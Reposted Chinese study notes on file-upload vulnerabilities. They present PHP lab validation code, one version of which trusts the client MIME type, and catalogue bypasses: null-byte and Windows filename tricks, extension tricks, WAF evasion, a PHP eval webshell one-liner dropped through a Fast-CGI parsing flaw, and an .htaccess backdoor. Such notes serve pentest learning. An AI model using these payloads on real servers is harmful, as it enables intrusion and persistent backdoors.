学习笔记三:文件上传漏洞
转载:https://thief.one/2016/09/22/上传木马姿势汇总-欢迎补充/
文件上传漏洞类型
- 客户端javascript校验
- 服务端校验
- content-type校验(黑白名单校验)
- 后缀名校验(黑白名单校验)
- 文件头校验(每种文件格式的开头都有一段代码指明其文件类型,通过修改后缀名绕不过这种检验)
- 自定义正则校验
- WAF校验
1.客户端校验
这个在测试时遇到了一个小问题,这里建议大家不要用chrome浏览器,不知道是为什么,通过chrome始终上传不了,换用firefox测试成功。其实javascript限制绕过特别简单,因为javascript代码在前端,直接修改其代码即可,将点击校验函数直接删除即可。
2.服务端校验
- 2.1 mime类型校验
//只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
function upload_sick($key,$mime,$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证一下MIME类型
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
$return_data['return']=false;
return $return_data;
}
//新建一个保存文件的目录
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
$save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['new_path']=$save_path.$_FILES[$key]['name'];
$return_data['return']=true;
return $return_data;
}
上面是校验函数,可以看出是基于白名单的mime类型校验。这里只需要抓一下请求包,将mime改成白名单的内容即可。
- 2.2文件头校验
常见的一些文件类型的文件头,简单一点来说就是文件的前导码。
- (1).JPEG;.JPE;.JPG,”JPGGraphic File”
- (2).gif,”GIF 89A”
- (3).zip,”Zip Compressed”
- (4).doc;.xls;.xlt;.ppt;.apr,”MSCompound Document v1 or Lotus Approach APRfile”
只要将这些前导码加到文件的开头就可以绕过文件头检测。
- 2.3文件后缀名检测
这个在windows php5上测试是不成功的,因为后台是基于白名单的验证,所以直接上后缀名阶段,但最终上传到服务器上的始终是jpg。看了一下他的检测函数,发现,
//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
// var_dump($_FILES);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证上传方式
if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
$return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';
$return_data['return']=false;
return $return_data;
}
//获取后缀名,如果不存在后缀名,则将变量设置为空
$arr_filename=pathinfo($_FILES[$key]['name']);
if(!isset($arr_filename['extension'])){
$arr_filename['extension']='';
}
//先验证后缀名
if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较
$return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
$return_data['return']=false;
return $return_data;
}
//验证MIME类型,MIME类型可以被绕过
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
$return_data['return']=false;
return $return_data;
}
//通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
if(!getimagesize($_FILES[$key]['tmp_name'])){
$return_data['error']='你上传的是个假图片,不要欺骗我!';
$return_data['return']=false;
return $return_data;
}
//验证大小
if($_FILES[$key]['size']>$size){
$return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
$return_data['return']=false;
return $return_data;
}
//把上传的文件给他搞一个新的路径存起来
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
//生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称
$new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
if($arr_filename['extension']!=''){
$arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
$new_filename.=".{$arr_filename['extension']}";
}
//将tmp目录里面的文件拷贝到指定目录下并使用新的名称
$save_path=rtrim($save_path,'/').'/';
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['save_path']=$save_path.$new_filename;
$return_data['filename']=$new_filename;
$return_data['return']=true;
return $return_data;
}
?>
从上面的函数可以看出,该方法对上传的文件进行了重命名,又是基于白名单的后缀名,所以这次绕过是失败了的。暂时也没有想到如何绕过这种上传检测。
-
基于黑名单的上传绕过方法
-
改变后缀大小写
-
使用特殊后缀名 asa , cer
-
截断绕过:
test.php(0x00).jpg
test.php%00.jpg
-
-
常见的能被解析的后缀名
jsp,jspx,jspf
asp,asa,cer,aspx
php php3 php4
exe exee
至于这一块做免杀的话,可以使用文件包含的方法,先上传一个普通文件,再上传一个包含这个文件的脚本文件。从而实现免杀
-
2.4CMS,编辑器漏洞绕过
- 针对不同cms的漏洞进行上传
- 编辑器漏洞,通过一些编辑器出现的漏洞实现检测绕过上传
-
2.5补充
配合操作系统文件命令规则
- (1)上传不符合windows文件命名规则的文件名
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$
DATA
shell.php::$
DATA…….
会被windows系统自动去掉不符合规则符号后面的内容。 - (2)linux下后缀名大小写
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
3.WAF绕过
-
1.添加干扰信息,在请求保重添加无关参数,干扰waf检测。(不过现在感觉这种方法很鸡肋,阿里云盾处理能力还是挺强的。)
-
2.修改上传目录,看到一个视频上说,如过文件夹名是a.php下面所有的文件都被当作php文件解析。
-
3.更改请求方式 POST/GET
-
4.删除实体里面的Conten-Type字段
-
5.其它
特殊的长文件名绕过文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
补充
今天又看到一种过狗的方法
- IIS7.0/7.5/Nginx<8.03岖形解析漏洞
Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的,在默认Fast-CGI开启状况下,黑阔上传一个名字为a.jpg,
内容为<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件,
然后访问a.jpg/.php,在这个目录下就会生成一句话木马 shell.php
注:不仅仅是iis7.0/7.5,只要Fast-CGI开启状况下都可以利用该漏洞- htaccess文件解析
一般为留后门使用,如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件- 双文件上传
条件:
接受两个文件同时上传
只检测了第一个文件扩展名
动易、南方、良精等CMS存在该漏洞
用burpsuite抓包,然后将请求头部分下面的内容负责,开头为-----,结尾为----------
其他地方不用负责,然后粘贴到第一个文件结尾-------后面,把第二个文件开头------去掉
将第一个文件的name=xxxx修改为name=xxxx1,修改文件名为cer或者asa等即可上传成功
小技巧
- 表单提交按钮
有些上传界面只有浏览文件按钮,没有上传按钮,那么我们就要自己写一个上传按钮。用火狐浏览器选择上传框右键审查元素,然后编辑HTML,写上
写入表单
<input type="submit" value="提交" name="bb">